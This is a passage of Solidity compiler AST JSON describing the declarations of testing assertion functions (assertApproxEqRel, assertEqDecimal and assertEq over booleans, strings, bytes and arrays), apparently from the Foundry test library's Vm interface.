100%"},"functionSelector":"fea2d14f","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqRel","nameLocation":"42231:17:13","parameters":{"id":13643,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13638,"mutability":"mutable","name":"left","nameLocation":"42256:4:13","nodeType":"VariableDeclaration","scope":13645,"src":"42249:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13637,"name":"int256","nodeType":"ElementaryTypeName","src":"42249:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13640,"mutability":"mutable","name":"right","nameLocation":"42269:5:13","nodeType":"VariableDeclaration","scope":13645,"src":"42262:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13639,"name":"int256","nodeType":"ElementaryTypeName","src":"42262:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13642,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"42284:15:13","nodeType":"VariableDeclaration","scope":13645,"src":"42276:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13641,"name":"uint256","nodeType":"ElementaryTypeName","src":"42276:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"42248:52:13"},"returnParameters":{"id":13644,"nodeType":"ParameterList","parameters":[],"src":"42314:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13657,"nodeType":"FunctionDefinition","src":"42590:132:13","nodes":[],"documentation":{"id":13646,"nodeType":"StructuredDocumentation","src":"42321:264:13","text":"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.\n `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%\n Includes error message into revert string on failure."},"functionSelector":"ef277d72","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqRel","nameLocation":"42599:17:13","parameters":{"id":13655,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13648,"mutability":"mutable","name":"left","nameLocation":"42624:4:13","nodeType":"VariableDeclaration","scope":13657,"src":"42617:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13647,"name":"int256","nodeType":"ElementaryTypeName","src":"42617:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13650,"mutability":"mutable","name":"right","nameLocation":"42637:5:13","nodeType":"VariableDeclaration","scope":13657,"src":"42630:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13649,"name":"int256","nodeType":"ElementaryTypeName","src":"42630:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13652,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"42652:15:13","nodeType":"VariableDeclaration","scope":13657,"src":"42644:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13651,"name":"uint256","nodeType":"ElementaryTypeName","src":"42644:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13654,"mutability":"mutable","name":"error","nameLocation":"42685:5:13","nodeType":"VariableDeclaration","scope":13657,"src":"42669:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13653,"name":"string","nodeType":"ElementaryTypeName","src":"42669:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"42616:75:13"},"returnParameters":{"id":13656,"nodeType":"ParameterList","parameters":[],"src":"42721:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13667,"nodeType":"FunctionDefinition","src":"42831:86:13","nodes":[],"documentation":{"id":13658,"nodeType":"StructuredDocumentation","src":"42728:98:13","text":"Asserts that two `uint256` values are equal, formatting them with decimals in failure message."},"functionSelector":"27af7d9c","implemented":false,"kind":"function","modifiers":[],"name":"assertEqDecimal","nameLocation":"42840:15:13","parameters":{"id":13665,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13660,"mutability":"mutable","name":"left","nameLocation":"42864:4:13","nodeType":"VariableDeclaration","scope":13667,"src":"42856:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13659,"name":"uint256","nodeType":"ElementaryTypeName","src":"42856:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13662,"mutability":"mutable","name":"right","nameLocation":"42878:5:13","nodeType":"VariableDeclaration","scope":13667,"src":"42870:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13661,"name":"uint256","nodeType":"ElementaryTypeName","src":"42870:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13664,"mutability":"mutable","name":"decimals","nameLocation":"42893:8:13","nodeType":"VariableDeclaration","scope":13667,"src":"42885:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13663,"name":"uint256","nodeType":"ElementaryTypeName","src":"42885:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"42855:47:13"},"returnParameters":{"id":13666,"nodeType":"ParameterList","parameters":[],"src":"42916:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13679,"nodeType":"FunctionDefinition","src":"43088:109:13","nodes":[],"documentation":{"id":13668,"nodeType":"StructuredDocumentation","src":"42923:160:13","text":"Asserts that two `uint256` values are equal, formatting them with decimals in failure message.\n Includes error message into revert string on failure."},"functionSelector":"d0cbbdef","implemented":false,"kind":"function","modifiers":[],"name":"assertEqDecimal","nameLocation":"43097:15:13","parameters":{"id":13677,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13670,"mutability":"mutable","name":"left","nameLocation":"43121:4:13","nodeType":"VariableDeclaration","scope":13679,"src":"43113:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13669,"name":"uint256","nodeType":"ElementaryTypeName","src":"43113:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13672,"mutability":"mutable","name":"right","nameLocation":"43135:5:13","nodeType":"VariableDeclaration","scope":13679,"src":"43127:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13671,"name":"uint256","nodeType":"ElementaryTypeName","src":"43127:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13674,"mutability":"mutable","name":"decimals","nameLocation":"43150:8:13","nodeType":"VariableDeclaration","scope":13679,"src":"43142:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13673,"name":"uint256","nodeType":"ElementaryTypeName","src":"43142:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13676,"mutability":"mutable","name":"error","nameLocation":"43176:5:13","nodeType":"VariableDeclaration","scope":13679,"src":"43160:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13675,"name":"string","nodeType":"ElementaryTypeName","src":"43160:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"43112:70:13"},"returnParameters":{"id":13678,"nodeType":"ParameterList","parameters":[],"src":"43196:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13689,"nodeType":"FunctionDefinition","src":"43305:84:13","nodes":[],"documentation":{"id":13680,"nodeType":"StructuredDocumentation","src":"43203:97:13","text":"Asserts that two `int256` values are equal, formatting them with decimals in failure message."},"functionSelector":"48016c04","implemented":false,"kind":"function","modifiers":[],"name":"assertEqDecimal","nameLocation":"43314:15:13","parameters":{"id":13687,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13682,"mutability":"mutable","name":"left","nameLocation":"43337:4:13","nodeType":"VariableDeclaration","scope":13689,"src":"43330:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13681,"name":"int256","nodeType":"ElementaryTypeName","src":"43330:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13684,"mutability":"mutable","name":"right","nameLocation":"43350:5:13","nodeType":"VariableDeclaration","scope":13689,"src":"43343:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13683,"name":"int256","nodeType":"ElementaryTypeName","src":"43343:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13686,"mutability":"mutable","name":"decimals","nameLocation":"43365:8:13","nodeType":"VariableDeclaration","scope":13689,"src":"43357:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13685,"name":"uint256","nodeType":"ElementaryTypeName","src":"43357:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"43329:45:13"},"returnParameters":{"id":13688,"nodeType":"ParameterList","parameters":[],"src":"43388:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13701,"nodeType":"FunctionDefinition","src":"43559:107:13","nodes":[],"documentation":{"id":13690,"nodeType":"StructuredDocumentation","src":"43395:159:13","text":"Asserts that two `int256` values are equal, formatting them with decimals in failure message.\n Includes error message into revert string on failure."},"functionSelector":"7e77b0c5","implemented":false,"kind":"function","modifiers":[],"name":"assertEqDecimal","nameLocation":"43568:15:13","parameters":{"id":13699,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13692,"mutability":"mutable","name":"left","nameLocation":"43591:4:13","nodeType":"VariableDeclaration","scope":13701,"src":"43584:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13691,"name":"int256","nodeType":"ElementaryTypeName","src":"43584:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13694,"mutability":"mutable","name":"right","nameLocation":"43604:5:13","nodeType":"VariableDeclaration","scope":13701,"src":"43597:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13693,"name":"int256","nodeType":"ElementaryTypeName","src":"43597:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13696,"mutability":"mutable","name":"decimals","nameLocation":"43619:8:13","nodeType":"VariableDeclaration","scope":13701,"src":"43611:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13695,"name":"uint256","nodeType":"ElementaryTypeName","src":"43611:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13698,"mutability":"mutable","name":"error","nameLocation":"43645:5:13","nodeType":"VariableDeclaration","scope":13701,"src":"43629:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13697,"name":"string","nodeType":"ElementaryTypeName","src":"43629:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"43583:68:13"},"returnParameters":{"id":13700,"nodeType":"ParameterList","parameters":[],"src":"43665:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13709,"nodeType":"FunctionDefinition","src":"43722:55:13","nodes":[],"documentation":{"id":13702,"nodeType":"StructuredDocumentation","src":"43672:45:13","text":"Asserts that two `bool` values are equal."},"functionSelector":"f7fe3477","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"43731:8:13","parameters":{"id":13707,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13704,"mutability":"mutable","name":"left","nameLocation":"43745:4:13","nodeType":"VariableDeclaration","scope":13709,"src":"43740:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13703,"name":"bool","nodeType":"ElementaryTypeName","src":"43740:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":13706,"mutability":"mutable","name":"right","nameLocation":"43756:5:13","nodeType":"VariableDeclaration","scope":13709,"src":"43751:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13705,"name":"bool","nodeType":"ElementaryTypeName","src":"43751:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"43739:23:13"},"returnParameters":{"id":13708,"nodeType":"ParameterList","parameters":[],"src":"43776:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13719,"nodeType":"FunctionDefinition","src":"43890:78:13","nodes":[],"documentation":{"id":13710,"nodeType":"StructuredDocumentation","src":"43783:102:13","text":"Asserts that two `bool` values are equal and includes error message into revert string on failure."},"functionSelector":"4db19e7e","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"43899:8:13","parameters":{"id":13717,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13712,"mutability":"mutable","name":"left","nameLocation":"43913:4:13","nodeType":"VariableDeclaration","scope":13719,"src":"43908:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13711,"name":"bool","nodeType":"ElementaryTypeName","src":"43908:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":13714,"mutability":"mutable","name":"right","nameLocation":"43924:5:13","nodeType":"VariableDeclaration","scope":13719,"src":"43919:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13713,"name":"bool","nodeType":"ElementaryTypeName","src":"43919:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":13716,"mutability":"mutable","name":"error","nameLocation":"43947:5:13","nodeType":"VariableDeclaration","scope":13719,"src":"43931:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13715,"name":"string","nodeType":"ElementaryTypeName","src":"43931:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"43907:46:13"},"returnParameters":{"id":13718,"nodeType":"ParameterList","parameters":[],"src":"43967:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13727,"nodeType":"FunctionDefinition","src":"44026:77:13","nodes":[],"documentation":{"id":13720,"nodeType":"StructuredDocumentation","src":"43974:47:13","text":"Asserts that two `string` values are equal."},"functionSelector":"f320d963","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"44035:8:13","parameters":{"id":13725,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13722,"mutability":"mutable","name":"left","nameLocation":"44060:4:13","nodeType":"VariableDeclaration","scope":13727,"src":"44044:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13721,"name":"string","nodeType":"ElementaryTypeName","src":"44044:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13724,"mutability":"mutable","name":"right","nameLocation":"44082:5:13","nodeType":"VariableDeclaration","scope":13727,"src":"44066:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13723,"name":"string","nodeType":"ElementaryTypeName","src":"44066:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"44043:45:13"},"returnParameters":{"id":13726,"nodeType":"ParameterList","parameters":[],"src":"44102:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13737,"nodeType":"FunctionDefinition","src":"44218:100:13","nodes":[],"documentation":{"id":13728,"nodeType":"StructuredDocumentation","src":"44109:104:13","text":"Asserts that two `string` values are equal and includes error message into revert string on failure."},"functionSelector":"36f656d8","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"44227:8:13","parameters":{"id":13735,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13730,"mutability":"mutable","name":"left","nameLocation":"44252:4:13","nodeType":"VariableDeclaration","scope":13737,"src":"44236:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13729,"name":"string","nodeType":"ElementaryTypeName","src":"44236:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13732,"mutability":"mutable","name":"right","nameLocation":"44274:5:13","nodeType":"VariableDeclaration","scope":13737,"src":"44258:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13731,"name":"string","nodeType":"ElementaryTypeName","src":"44258:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13734,"mutability":"mutable","name":"error","nameLocation":"44297:5:13","nodeType":"VariableDeclaration","scope":13737,"src":"44281:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13733,"name":"string","nodeType":"ElementaryTypeName","src":"44281:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"44235:68:13"},"returnParameters":{"id":13736,"nodeType":"ParameterList","parameters":[],"src":"44317:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13745,"nodeType":"FunctionDefinition","src":"44375:75:13","nodes":[],"documentation":{"id":13738,"nodeType":"StructuredDocumentation","src":"44324:46:13","text":"Asserts that two `bytes` values are equal."},"functionSelector":"97624631","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"44384:8:13","parameters":{"id":13743,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13740,"mutability":"mutable","name":"left","nameLocation":"44408:4:13","nodeType":"VariableDeclaration","scope":13745,"src":"44393:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":13739,"name":"bytes","nodeType":"ElementaryTypeName","src":"44393:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":13742,"mutability":"mutable","name":"right","nameLocation":"44429:5:13","nodeType":"VariableDeclaration","scope":13745,"src":"44414:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":13741,"name":"bytes","nodeType":"ElementaryTypeName","src":"44414:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"44392:43:13"},"returnParameters":{"id":13744,"nodeType":"ParameterList","parameters":[],"src":"44449:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13755,"nodeType":"FunctionDefinition","src":"44564:98:13","nodes":[],"documentation":{"id":13746,"nodeType":"StructuredDocumentation","src":"44456:103:13","text":"Asserts that two `bytes` values are equal and includes error message into revert string on failure."},"functionSelector":"e24fed00","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"44573:8:13","parameters":{"id":13753,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13748,"mutability":"mutable","name":"left","nameLocation":"44597:4:13","nodeType":"VariableDeclaration","scope":13755,"src":"44582:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":13747,"name":"bytes","nodeType":"ElementaryTypeName","src":"44582:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":13750,"mutability":"mutable","name":"right","nameLocation":"44618:5:13","nodeType":"VariableDeclaration","scope":13755,"src":"44603:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":13749,"name":"bytes","nodeType":"ElementaryTypeName","src":"44603:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":13752,"mutability":"mutable","name":"error","nameLocation":"44641:5:13","nodeType":"VariableDeclaration","scope":13755,"src":"44625:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13751,"name":"string","nodeType":"ElementaryTypeName","src":"44625:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"44581:66:13"},"returnParameters":{"id":13754,"nodeType":"ParameterList","parameters":[],"src":"44661:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13765,"nodeType":"FunctionDefinition","src":"44728:77:13","nodes":[],"documentation":{"id":13756,"nodeType":"StructuredDocumentation","src":"44668:55:13","text":"Asserts that two arrays of `bool` values are equal."},"functionSelector":"707df785","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"44737:8:13","parameters":{"id":13763,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13759,"mutability":"mutable","name":"left","nameLocation":"44762:4:13","nodeType":"VariableDeclaration","scope":13765,"src":"44746:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_calldata_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":13757,"name":"bool","nodeType":"ElementaryTypeName","src":"44746:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":13758,"nodeType":"ArrayTypeName","src":"44746:6:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"},{"constant":false,"id":13762,"mutability":"mutable","name":"right","nameLocation":"44784:5:13","nodeType":"VariableDeclaration","scope":13765,"src":"44768:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_calldata_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":13760,"name":"bool","nodeType":"ElementaryTypeName","src":"44768:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":13761,"nodeType":"ArrayTypeName","src":"44768:6:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"44745:45:13"},"returnParameters":{"id":13764,"nodeType":"ParameterList","parameters":[],"src":"44804:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13777,"nodeType":"FunctionDefinition","src":"44928:100:13","nodes":[],"documentation":{"id":13766,"nodeType":"StructuredDocumentation","src":"44811:112:13","text":"Asserts that two arrays of `bool` values are equal and includes error message into revert string on failure."},"functionSelector":"e48a8f8d","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"44937:8:13","parameters":{"id":13775,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13769,"mutability":"mutable","name":"left","nameLocation":"44962:4:13","nodeType":"VariableDeclaration","scope":13777,"src":"44946:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_calldata_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":13767,"name":"bool","nodeType":"ElementaryTypeName","src":"44946:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":13768,"nodeType":"ArrayTypeName","src":"44946:6:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"},{"constant":false,"id":13772,"mutability":"mutable","name":"right","nameLocation":"44984:5:13","nodeType":"VariableDeclaration","scope":13777,"src":"44968:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_calldata_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":13770,"name":"bool","nodeType":"ElementaryTypeName","src":"44968:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":13771,"nodeType":"ArrayTypeName","src":"44968:6:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"},{"constant":false,"id":13774,"mutability":"mutable","name":"error","nameLocation":"45007:5:13","nodeType":"VariableDeclaration","scope":13777,"src":"44991:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13773,"name":"string","nodeType":"ElementaryTypeName","src":"44991:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"44945:68:13"},"returnParameters":{"id":13776,"nodeType":"ParameterList","parameters":[],"src":"45027:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13787,"nodeType":"FunctionDefinition","src":"45096:83:13","nodes":[],"documentation":{"id":13778,"nodeType":"StructuredDocumentation","src":"45034:57:13","text":"Asserts that two arrays of `uint256 values are equal."},"functionSelector":"975d5a12","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"45105:8:13","parameters":{"id":13785,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13781,"mutability":"mutable","name":"left","nameLocation":"45133:4:13","nodeType":"VariableDeclaration","scope":13787,"src":"45114:23:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_calldata_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":13779,"name":"uint256","nodeType":"ElementaryTypeName","src":"45114:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":13780,"nodeType":"ArrayTypeName","src":"45114:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"},{"constant":false,"id":13784,"mutability":"mutable","name":"right","nameLocation":"45158:5:13","nodeType":"VariableDeclaration","scope":13787,"src":"45139:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_calldata_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":13782,"name":"uint256","nodeType":"ElementaryTypeName","src":"45139:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":13783,"nodeType":"ArrayTypeName","src":"45139:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"45113:51:13"},"returnParameters":{"id":13786,"nodeType":"ParameterList","parameters":[],"src":"45178:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13799,"nodeType":"FunctionDefinition","src":"45305:106:13","nodes":[],"documentation":{"id":13788,"nodeType":"StructuredDocumentation","src":"45185:115:13","text":"Asserts that two arrays of `uint256` values are equal and includes error message into revert string on 